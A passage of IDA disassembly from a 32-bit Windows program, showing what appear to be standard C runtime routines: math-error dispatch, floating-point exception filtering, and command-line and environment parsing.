		mov	dword ptr [eax], 22h
		jz	short loc_40A9B5
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40A9C5
; ---------------------------------------------------------------------------

loc_40A9B5:				; CODE XREF: sub_40A7DB+1D2j
		mov	al, byte ptr [ebp+arg_10]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax

loc_40A9C5:				; CODE XREF: sub_40A7DB+18Cj
					; sub_40A7DB+1AAj ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_40A9CE
		mov	[eax], edi

loc_40A9CE:				; CODE XREF: sub_40A7DB+1EFj
		test	byte ptr [ebp+arg_10], 2
		jz	short loc_40A9D7
		neg	[ebp+var_4]

loc_40A9D7:				; CODE XREF: sub_40A7DB+1F7j
		cmp	[ebp+var_8], 0
		jz	short loc_40A9E4
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40A9E4:				; CODE XREF: sub_40A7DB+200j
		mov	eax, [ebp+var_4]
		jmp	short loc_40AA01
; ---------------------------------------------------------------------------

loc_40A9E9:				; CODE XREF: sub_40A7DB+BFj
					; sub_40A7DB+C8j ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_40A9F2
		mov	[eax], esi

loc_40A9F2:				; CODE XREF: sub_40A7DB+213j
		cmp	[ebp+var_8], 0
		jz	short loc_40A9FF
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40A9FF:				; CODE XREF: sub_40A7DB+21Bj
		xor	eax, eax

loc_40AA01:				; CODE XREF: sub_40A7DB+20Cj
		pop	ebx

loc_40AA02:				; CODE XREF: sub_40A7DB+4Cj
		pop	edi
		pop	esi
		leave
		retn
sub_40A7DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_40415A+8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	dword_427820, eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jnz	short loc_40AA24
		push	offset off_423680
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------

loc_40AA24:				; CODE XREF: sub_40AA06+15j
		push	eax

loc_40AA25:				; CODE XREF: sub_40AA06+1Cj
		call	sub_40A7DB
		add	esp, 14h
		pop	ebp
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA2F	proc near		; CODE XREF: sub_404170+B5p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		xor	eax, eax
		cmp	dword_427D30, eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [ebp+var_8], al
		mov	byte ptr [ebp+var_8+1],	al
		mov	byte ptr [ebp+var_8+2],	al
		mov	byte ptr [ebp+var_8+3],	al
		mov	byte ptr [ebp+var_8+4],	al
		mov	byte ptr [ebp+var_8+5],	al
		mov	byte ptr [ebp+var_8+6],	al
		mov	byte ptr [ebp+var_8+7],	al
		jz	short loc_40AA71
		push	dword_4356E4
		call	sub_405543
		pop	ecx
		jmp	short loc_40AA76
; ---------------------------------------------------------------------------

loc_40AA71:				; CODE XREF: sub_40AA2F+32j
		mov	eax, offset sub_40FAB8

loc_40AA76:				; CODE XREF: sub_40AA2F+40j
		mov	ecx, [ebp+arg_C]
		mov	edx, 0A6h
		cmp	ecx, edx
		jg	loc_40ABFA
		jz	loc_40ABE7
		cmp	ecx, 19h
		jg	loc_40AB8D
		jz	loc_40AB84
		mov	edx, ecx
		push	2
		pop	ecx
		sub	edx, ecx
		jz	loc_40AB75
		dec	edx
		jz	loc_40AB6C
		sub	edx, 5
		jz	loc_40AB5D
		dec	edx
		jz	loc_40AB45
		sub	edx, 5
		jz	short loc_40AB35
		dec	edx
		jz	short loc_40AB0C
		sub	edx, 9
		jnz	loc_40ACA4	; default
		mov	[ebp+var_28], 3

loc_40AAD7:				; CODE XREF: sub_40AA2F+1ACj
		mov	[ebp+var_24], offset aPow ; "pow"

loc_40AADE:				; CODE XREF: sub_40AA2F+114j
					; sub_40AA2F+138j ...
		fld	qword ptr [edi]
		lea	ecx, [ebp+var_28]
		fstp	[ebp+var_20]
		push	ecx
		fld	qword ptr [ebx]
		fstp	[ebp+var_18]
		fld	qword ptr [esi]
		fstp	[ebp+var_10]
		call	eax
		test	eax, eax
		pop	ecx
		jnz	loc_40AC9F
		call	sub_405B83
		mov	dword ptr [eax], 22h
		jmp	loc_40AC9F
; ---------------------------------------------------------------------------

loc_40AB0C:				; CODE XREF: sub_40AA2F+96j
		mov	[ebp+var_24], offset aExp ; "exp"

loc_40AB13:				; CODE XREF: sub_40AA2F+15Cj
		fld	qword ptr [edi]
		lea	ecx, [ebp+var_28]
		fstp	[ebp+var_20]
		push	ecx
		fld	qword ptr [ebx]
		mov	[ebp+var_28], 4
		fstp	[ebp+var_18]
		fld	qword ptr [esi]
		fstp	[ebp+var_10]
		call	eax
		pop	ecx
		jmp	loc_40AC9F
; ---------------------------------------------------------------------------

loc_40AB35:				; CODE XREF: sub_40AA2F+93j
		mov	[ebp+var_28], 3
		mov	[ebp+var_24], offset aExp ; "exp"
		jmp	short loc_40AADE
; ---------------------------------------------------------------------------

loc_40AB45:				; CODE XREF: sub_40AA2F+8Aj
		mov	[ebp+var_24], offset aLog10 ; "log10"

loc_40AB4C:				; CODE XREF: sub_40AA2F+144j
					; sub_40AA2F+181j ...
		fld	qword ptr [edi]
		fstp	[ebp+var_20]
		fld	qword ptr [ebx]
		fstp	[ebp+var_18]
		fld	qword ptr [esi]
		jmp	loc_40AC7F
; ---------------------------------------------------------------------------

loc_40AB5D:				; CODE XREF: sub_40AA2F+83j
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], offset aLog10 ; "log10"
		jmp	loc_40AADE
; ---------------------------------------------------------------------------

loc_40AB6C:				; CODE XREF: sub_40AA2F+7Aj
		mov	[ebp+var_24], offset aLog ; "log"
		jmp	short loc_40AB4C
; ---------------------------------------------------------------------------

loc_40AB75:				; CODE XREF: sub_40AA2F+73j
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], offset aLog ; "log"
		jmp	loc_40AADE
; ---------------------------------------------------------------------------

loc_40AB84:				; CODE XREF: sub_40AA2F+66j
		mov	[ebp+var_24], offset aPow ; "pow"
		jmp	short loc_40AB13
; ---------------------------------------------------------------------------

loc_40AB8D:				; CODE XREF: sub_40AA2F+60j
		sub	ecx, 1Ah
		jz	short loc_40ABE0
		dec	ecx
		jz	short loc_40ABD4
		dec	ecx
		jz	short loc_40ABC8 ; jumptable 0040AC09 case 1006
		dec	ecx
		jz	short loc_40ABBB
		sub	ecx, 1Dh
		jz	short loc_40ABB2 ; jumptable 0040AC09 case 1008
		sub	ecx, 3
		jnz	loc_40ACA4	; default

loc_40ABA9:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset aAsin ; jumptable 0040AC09	case 1009
		jmp	short loc_40AB4C
; ---------------------------------------------------------------------------

loc_40ABB2:				; CODE XREF: sub_40AA2F+16Fj
					; sub_40AA2F+1DAj
					; DATA XREF: ...
		mov	[ebp+var_24], offset aAcos ; jumptable 0040AC09	case 1008
		jmp	short loc_40AB4C
; ---------------------------------------------------------------------------

loc_40ABBB:				; CODE XREF: sub_40AA2F+16Aj
		mov	[ebp+var_24], offset aPow ; "pow"

loc_40ABC2:				; CODE XREF: sub_40AA2F+1E8j
					; sub_40AA2F+1F1j ...
		fld	qword ptr [edi]
		fstp	qword ptr [esi]
		jmp	short loc_40AB4C
; ---------------------------------------------------------------------------

loc_40ABC8:				; CODE XREF: sub_40AA2F+167j
					; sub_40AA2F+1DAj
					; DATA XREF: ...
		mov	[ebp+var_24], offset aPow ; jumptable 0040AC09 case 1006
		jmp	loc_40AB4C
; ---------------------------------------------------------------------------

loc_40ABD4:				; CODE XREF: sub_40AA2F+164j
		mov	[ebp+var_28], 2
		jmp	loc_40AAD7
; ---------------------------------------------------------------------------

loc_40ABE0:				; CODE XREF: sub_40AA2F+161j
		fld1
		jmp	loc_40ACA2
; ---------------------------------------------------------------------------

loc_40ABE7:				; CODE XREF: sub_40AA2F+57j
		mov	[ebp+var_28], 3
		mov	[ebp+var_24], offset aExp10 ; "exp10"
		jmp	loc_40AADE
; ---------------------------------------------------------------------------

loc_40ABFA:				; CODE XREF: sub_40AA2F+51j
		add	ecx, 0FFFFFC18h	; switch 13 cases
		cmp	ecx, 0Ch
		ja	loc_40ACA4	; default
		jmp	ds:off_40ACAB[ecx*4] ; switch jump

loc_40AC10:				; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset aLog ; jumptable 0040AC09 case 1000
		jmp	short loc_40ABC2
; ---------------------------------------------------------------------------

loc_40AC19:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset aLog10 ; jumptable	0040AC09 case 1001
		jmp	short loc_40ABC2
; ---------------------------------------------------------------------------

loc_40AC22:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset aExp ; jumptable 0040AC09 case 1002
		jmp	short loc_40ABC2
; ---------------------------------------------------------------------------

loc_40AC2B:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset aAtan ; jumptable 0040AC09	case 1003
		jmp	short loc_40ABC2
; ---------------------------------------------------------------------------

loc_40AC34:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset aCeil ; jumptable 0040AC09	case 1004
		jmp	short loc_40ABC2
; ---------------------------------------------------------------------------

loc_40AC3D:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset aFloor ; jumptable	0040AC09 case 1005
		jmp	loc_40ABC2
; ---------------------------------------------------------------------------

loc_40AC49:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset aModf ; jumptable 0040AC09	case 1007
		jmp	loc_40ABC2
; ---------------------------------------------------------------------------

loc_40AC55:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset dword_41DBD0 ; jumptable 0040AC09 case 1010
		jmp	short loc_40AC6E
; ---------------------------------------------------------------------------

loc_40AC5E:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset dword_41DBCC ; jumptable 0040AC09 case 1011
		jmp	short loc_40AC6E
; ---------------------------------------------------------------------------

loc_40AC67:				; CODE XREF: sub_40AA2F+1DAj
					; DATA XREF: .text:off_40ACABo
		mov	[ebp+var_24], offset dword_41DBC8 ; jumptable 0040AC09 case 1012

loc_40AC6E:				; CODE XREF: sub_40AA2F+22Dj
					; sub_40AA2F+236j
		fld	qword ptr [edi]
		fmul	[ebp+var_8]
		fst	qword ptr [esi]
		fld	qword ptr [edi]
		fstp	[ebp+var_20]
		fld	qword ptr [ebx]
		fstp	[ebp+var_18]

loc_40AC7F:				; CODE XREF: sub_40AA2F+129j
		lea	ecx, [ebp+var_28]
		fstp	[ebp+var_10]
		push	ecx
		mov	[ebp+var_28], 1
		call	eax
		test	eax, eax
		pop	ecx
		jnz	short loc_40AC9F
		call	sub_405B83
		mov	dword ptr [eax], 21h

loc_40AC9F:				; CODE XREF: sub_40AA2F+C7j
					; sub_40AA2F+D8j ...
		fld	[ebp+var_10]

loc_40ACA2:				; CODE XREF: sub_40AA2F+1B3j
		fstp	qword ptr [esi]

loc_40ACA4:				; CODE XREF: sub_40AA2F+9Bj
					; sub_40AA2F+174j ...
		pop	edi		; default
		pop	esi
		pop	ebx
		leave
		retn
sub_40AA2F	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
off_40ACAB	dd offset loc_40AC10	; DATA XREF: sub_40AA2F+1DAr
		dd offset loc_40AC19	; jump table for switch	statement
		dd offset loc_40AC22
		dd offset loc_40AC2B
		dd offset loc_40AC34
		dd offset loc_40AC3D
		dd offset loc_40ABC8
		dd offset loc_40AC49
		dd offset loc_40ABB2
		dd offset loc_40ABA9
		dd offset loc_40AC55
		dd offset loc_40AC5E
		dd offset loc_40AC67

; =============== S U B	R O U T	I N E =======================================



sub_40ACDF	proc near		; DATA XREF: c.7ld2ih:0041D2E0o
		and	dword_4356DC, 0
		call	sub_40FB8A
		mov	dword_4356DC, eax
		xor	eax, eax
		retn
sub_40ACDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40ACF3(double)

sub_40ACF3	proc near		; CODE XREF: sub_404170+7j
					; sub_404170+38j

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_423DB8
		call	sub_41040E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		push	ecx
		and	ax, 7FF0h
		cmp	ax, 7FF0h
		push	ecx
		fstp	[esp+18h+var_18]
		jnz	short loc_40AD79
		call	sub_4102ED
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_40AD5C
		cmp	eax, 2
		jle	short loc_40AD4E
		cmp	eax, 3
		jnz	short loc_40AD5C
		fld	[ebp+arg_0]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		push	0Ch		; int
		call	sub_4101A5
		add	esp, 10h
		jmp	short loc_40ADC0
; ---------------------------------------------------------------------------

loc_40AD4E:				; CODE XREF: sub_40ACF3+3Fj
		push	esi
		push	ebx
		call	sub_41040E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40ADC0
; ---------------------------------------------------------------------------

loc_40AD5C:				; CODE XREF: sub_40ACF3+3Aj
					; sub_40ACF3+44j
		fld	[ebp+arg_0]
		push	ebx
		fadd	ds:dbl_41DC00
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_40ADB8
; ---------------------------------------------------------------------------

loc_40AD79:				; CODE XREF: sub_40ACF3+2Fj
		call	sub_4102B2
		fstp	[ebp+var_8]
		fld	[ebp+arg_0]
		pop	ecx
		fcomp	[ebp+var_8]
		pop	ecx
		fnstsw	ax
		test	ah, 44h
		jp	short loc_40AD9E

loc_40AD90:				; CODE XREF: sub_40ACF3+AEj
		push	esi
		push	ebx
		call	sub_41040E
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_40ADC0
; ---------------------------------------------------------------------------

loc_40AD9E:				; CODE XREF: sub_40ACF3+9Bj
		test	bl, 20h
		jnz	short loc_40AD90
		fld	[ebp+var_8]
		push	ebx		; int
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_40ADB8:				; CODE XREF: sub_40ACF3+84j
		call	sub_4101F8
		add	esp, 1Ch

loc_40ADC0:				; CODE XREF: sub_40ACF3+59j
					; sub_40ACF3+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40ACF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADC4	proc near		; CODE XREF: .text:0040448Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		call	sub_4056CA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40ADE3
		push	[ebp+arg_4]
		call	ds:off_41D198
		jmp	loc_40AF30
; ---------------------------------------------------------------------------

loc_40ADE3:				; CODE XREF: sub_40ADC4+Fj
		mov	edx, [esi+5Ch]
		mov	eax, dword_423E44
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		push	ebx

loc_40ADF2:				; CODE XREF: sub_40ADC4+3Ej
		cmp	[ecx], edi
		jz	short loc_40AE04
		mov	ebx, eax
		imul	ebx, 0Ch
		add	ecx, 0Ch
		add	ebx, edx
		cmp	ecx, ebx
		jb	short loc_40ADF2

loc_40AE04:				; CODE XREF: sub_40ADC4+30j
		imul	eax, 0Ch
		add	eax, edx
		cmp	ecx, eax
		jnb	short loc_40AE15
		cmp	[ecx], edi
		jnz	short loc_40AE15
		mov	eax, ecx
		jmp	short loc_40AE17
; ---------------------------------------------------------------------------

loc_40AE15:				; CODE XREF: sub_40ADC4+47j
					; sub_40ADC4+4Bj
		xor	eax, eax

loc_40AE17:				; CODE XREF: sub_40ADC4+4Fj
		test	eax, eax
		jz	short loc_40AE25
		mov	ebx, [eax+8]
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_40AE33

loc_40AE25:				; CODE XREF: sub_40ADC4+55j
		push	[ebp+arg_4]
		call	ds:off_41D198
		jmp	loc_40AF2E
; ---------------------------------------------------------------------------

loc_40AE33:				; CODE XREF: sub_40ADC4+5Fj
		cmp	ebx, 5
		jnz	short loc_40AE44
		and	dword ptr [eax+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_40AF2E
; ---------------------------------------------------------------------------

loc_40AE44:				; CODE XREF: sub_40ADC4+72j
		cmp	ebx, 1
		jz	loc_40AF2B
		mov	ecx, [esi+60h]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_4]
		mov	[esi+60h], ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_40AF1D
		mov	ecx, dword_423E38
		mov	edi, dword_423E3C
		mov	edx, ecx
		add	edi, ecx
		cmp	edx, edi
		jge	short loc_40AE9D
		imul	ecx, 0Ch

loc_40AE7C:				; CODE XREF: sub_40ADC4+D4j
		mov	edi, [esi+5Ch]
		and	dword ptr [ecx+edi+8], 0
		mov	edi, dword_423E38
		mov	ebx, dword_423E3C
		inc	edx
		add	ebx, edi
		add	ecx, 0Ch
		cmp	edx, ebx
		jl	short loc_40AE7C
		mov	ebx, [ebp+var_4]

loc_40AE9D:				; CODE XREF: sub_40ADC4+B3j
		mov	eax, [eax]
		cmp	eax, 0C000008Eh
		mov	edi, [esi+64h]
		jnz	short loc_40AEB2
		mov	dword ptr [esi+64h], 83h
		jmp	short loc_40AF10
; ---------------------------------------------------------------------------

loc_40AEB2:				; CODE XREF: sub_40ADC4+E3j
		cmp	eax, 0C0000090h
		jnz	short loc_40AEC2
		mov	dword ptr [esi+64h], 81h
		jmp	short loc_40AF10
; ---------------------------------------------------------------------------

loc_40AEC2:				; CODE XREF: sub_40ADC4+F3j
		cmp	eax, 0C0000091h
		jnz	short loc_40AED2
		mov	dword ptr [esi+64h], 84h
		jmp	short loc_40AF10
; ---------------------------------------------------------------------------

loc_40AED2:				; CODE XREF: sub_40ADC4+103j
		cmp	eax, 0C0000093h
		jnz	short loc_40AEE2
		mov	dword ptr [esi+64h], 85h
		jmp	short loc_40AF10
; ---------------------------------------------------------------------------

loc_40AEE2:				; CODE XREF: sub_40ADC4+113j
		cmp	eax, 0C000008Dh
		jnz	short loc_40AEF2
		mov	dword ptr [esi+64h], 82h
		jmp	short loc_40AF10
; ---------------------------------------------------------------------------

loc_40AEF2:				; CODE XREF: sub_40ADC4+123j
		cmp	eax, 0C000008Fh
		jnz	short loc_40AF02
		mov	dword ptr [esi+64h], 86h
		jmp	short loc_40AF10
; ---------------------------------------------------------------------------

loc_40AF02:				; CODE XREF: sub_40ADC4+133j
		cmp	eax, 0C0000092h
		jnz	short loc_40AF10
		mov	dword ptr [esi+64h], 8Ah

loc_40AF10:				; CODE XREF: sub_40ADC4+ECj
					; sub_40ADC4+FCj ...
		push	dword ptr [esi+64h]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+64h], edi
		jmp	short loc_40AF24
; ---------------------------------------------------------------------------

loc_40AF1D:				; CODE XREF: sub_40ADC4+9Bj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx

loc_40AF24:				; CODE XREF: sub_40ADC4+157j
		mov	eax, [ebp+var_8]
		pop	ecx
		mov	[esi+60h], eax

loc_40AF2B:				; CODE XREF: sub_40ADC4+83j
		or	eax, 0FFFFFFFFh

loc_40AF2E:				; CODE XREF: sub_40ADC4+6Aj
					; sub_40ADC4+7Bj
		pop	ebx
		pop	edi

loc_40AF30:				; CODE XREF: sub_40ADC4+1Aj
		pop	esi
		leave
		retn
sub_40ADC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF33	proc near		; CODE XREF: .text:loc_404448p
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_436834, edi
		jnz	short loc_40AF44
		call	sub_4051B3

loc_40AF44:				; CODE XREF: sub_40AF33+Aj
		mov	esi, dword_436858
		test	esi, esi
		jnz	short loc_40AF53
		mov	esi, offset word_41D492

loc_40AF53:				; CODE XREF: sub_40AF33+19j
					; sub_40AF33+4Bj
		mov	al, [esi]
		cmp	al, 20h
		ja	short loc_40AF61
		test	al, al
		jz	short loc_40AF8B
		test	edi, edi
		jz	short loc_40AF85

loc_40AF61:				; CODE XREF: sub_40AF33+24j
		cmp	al, 22h
		jnz	short loc_40AF6E
		xor	ecx, ecx
		test	edi, edi
		setz	cl
		mov	edi, ecx

loc_40AF6E:				; CODE XREF: sub_40AF33+30j
		movzx	eax, al
		push	eax
		call	sub_41054E
		test	eax, eax
		pop	ecx
		jz	short loc_40AF7D
		inc	esi

loc_40AF7D:				; CODE XREF: sub_40AF33+47j
		inc	esi
		jmp	short loc_40AF53
; ---------------------------------------------------------------------------

loc_40AF80:				; CODE XREF: sub_40AF33+56j
		cmp	al, 20h
		ja	short loc_40AF8B
		inc	esi

loc_40AF85:				; CODE XREF: sub_40AF33+2Cj
		mov	al, [esi]
		test	al, al
		jnz	short loc_40AF80

loc_40AF8B:				; CODE XREF: sub_40AF33+28j
					; sub_40AF33+4Fj
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40AF33	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF90	proc near		; CODE XREF: .text:loc_404425p
		push	ebx
		xor	ebx, ebx
		cmp	dword_436834, ebx
		push	esi
		push	edi
		jnz	short loc_40AFA2
		call	sub_4051B3

loc_40AFA2:				; CODE XREF: sub_40AF90+Bj
		mov	esi, dword_4274D4
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_40AFC6

loc_40AFAE:				; CODE XREF: sub_40AF90+51j
		or	eax, 0FFFFFFFFh
		jmp	loc_40B051
; ---------------------------------------------------------------------------

loc_40AFB6:				; CODE XREF: sub_40AF90+3Aj
		cmp	al, 3Dh
		jz	short loc_40AFBB
		inc	edi

loc_40AFBB:				; CODE XREF: sub_40AF90+28j
		push	esi
		call	sub_4044E0
		pop	ecx
		lea	esi, [esi+eax+1]

loc_40AFC6:				; CODE XREF: sub_40AF90+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_40AFB6
		push	4
		inc	edi
		push	edi
		call	sub_407B2A
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		mov	dword_4279D8, edi
		jz	short loc_40AFAE
		mov	esi, dword_4274D4
		push	ebp
		jmp	short loc_40B02C
; ---------------------------------------------------------------------------

loc_40AFEC:				; CODE XREF: sub_40AF90+9Ej
		push	esi
		call	sub_4044E0
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_40B02A
		push	1
		push	ebp
		call	sub_407B2A
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jz	short loc_40B055
		push	esi
		push	ebp
		push	eax
		call	sub_407A85
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B027
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4031FD
		add	esp, 14h

loc_40B027:				; CODE XREF: sub_40AF90+88j
		add	edi, 4

loc_40B02A:				; CODE XREF: sub_40AF90+69j
		add	esi, ebp

loc_40B02C:				; CODE XREF: sub_40AF90+5Aj
		cmp	[esi], bl
		jnz	short loc_40AFEC
		push	dword_4274D4
		call	sub_4039C3
		mov	dword_4274D4, ebx
		mov	[edi], ebx
		mov	dword_436828, 1
		xor	eax, eax

loc_40B04F:				; CODE XREF: sub_40AF90+D9j
		pop	ecx
		pop	ebp

loc_40B051:				; CODE XREF: sub_40AF90+21j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40B055:				; CODE XREF: sub_40AF90+79j
		push	dword_4279D8
		call	sub_4039C3
		mov	dword_4279D8, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40B04F
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B06B	proc near		; CODE XREF: sub_40B203+55p
					; sub_40B203+96p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ebx
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	esi
		mov	[edi], eax
		mov	esi, edx
		mov	edx, [ebp+arg_4]
		mov	dword ptr [ecx], 1
		jz	short loc_40B091
		mov	ebx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ebx], edx

loc_40B091:				; CODE XREF: sub_40B06B+1Bj
		mov	[ebp+var_4], eax

loc_40B094:				; CODE XREF: sub_40B06B+7Ej
					; sub_40B06B+88j
		cmp	byte ptr [esi],	22h
		jnz	short loc_40B0A9
		xor	eax, eax
		cmp	[ebp+var_4], eax
		mov	bl, 22h
		setz	al
		inc	esi
		mov	[ebp+var_4], eax
		jmp	short loc_40B0E5
; ---------------------------------------------------------------------------

loc_40B0A9:				; CODE XREF: sub_40B06B+2Cj
		inc	dword ptr [edi]
		test	edx, edx
		jz	short loc_40B0B7
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		mov	[ebp+arg_4], edx

loc_40B0B7:				; CODE XREF: sub_40B06B+42j
		mov	bl, [esi]
		movzx	eax, bl
		push	eax
		inc	esi
		call	sub_41054E
		test	eax, eax
		pop	ecx
		jz	short loc_40B0DB
		inc	dword ptr [edi]
		cmp	[ebp+arg_4], 0
		jz	short loc_40B0DA
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al

loc_40B0DA:				; CODE XREF: sub_40B06B+63j
		inc	esi

loc_40B0DB:				; CODE XREF: sub_40B06B+5Bj
		test	bl, bl
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		jz	short loc_40B117

loc_40B0E5:				; CODE XREF: sub_40B06B+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_40B094
		cmp	bl, 20h
		jz	short loc_40B0F5
		cmp	bl, 9
		jnz	short loc_40B094

loc_40B0F5:				; CODE XREF: sub_40B06B+83j
		test	edx, edx
		jz	short loc_40B0FD
		mov	byte ptr [edx-1], 0

loc_40B0FD:				; CODE XREF: sub_40B06B+8Cj
					; sub_40B06B+ADj
		and	[ebp+var_4], 0

loc_40B101:				; CODE XREF: sub_40B06B+183j
		cmp	byte ptr [esi],	0
		jz	loc_40B1F3

loc_40B10A:				; CODE XREF: sub_40B06B+AAj
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_40B114
		cmp	al, 9
		jnz	short loc_40B11A

loc_40B114:				; CODE XREF: sub_40B06B+A3j
		inc	esi
		jmp	short loc_40B10A
; ---------------------------------------------------------------------------

loc_40B117:				; CODE XREF: sub_40B06B+78j
		dec	esi
		jmp	short loc_40B0FD
; ---------------------------------------------------------------------------

loc_40B11A:				; CODE XREF: sub_40B06B+A7j
		cmp	byte ptr [esi],	0
		jz	loc_40B1F3
		cmp	[ebp+arg_0], 0
		jz	short loc_40B132
		mov	eax, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[eax], edx

loc_40B132:				; CODE XREF: sub_40B06B+BCj
		inc	dword ptr [ecx]

loc_40B134:				; CODE XREF: sub_40B06B+16Ej
		xor	ebx, ebx
		inc	ebx
		xor	ecx, ecx
		jmp	short loc_40B13D
; ---------------------------------------------------------------------------

loc_40B13B:				; CODE XREF: sub_40B06B+D5j
		inc	esi
		inc	ecx

loc_40B13D:				; CODE XREF: sub_40B06B+CEj
		cmp	byte ptr [esi],	5Ch
		jz	short loc_40B13B
		cmp	byte ptr [esi],	22h
		jnz	short loc_40B16D
		test	cl, 1
		jnz	short loc_40B16B
		cmp	[ebp+var_4], 0
		jz	short loc_40B15E
		lea	eax, [esi+1]
		cmp	byte ptr [eax],	22h
		jnz	short loc_40B15E
		mov	esi, eax
		jmp	short loc_40B16B
; ---------------------------------------------------------------------------

loc_40B15E:				; CODE XREF: sub_40B06B+E5j
					; sub_40B06B+EDj
		xor	eax, eax
		xor	ebx, ebx
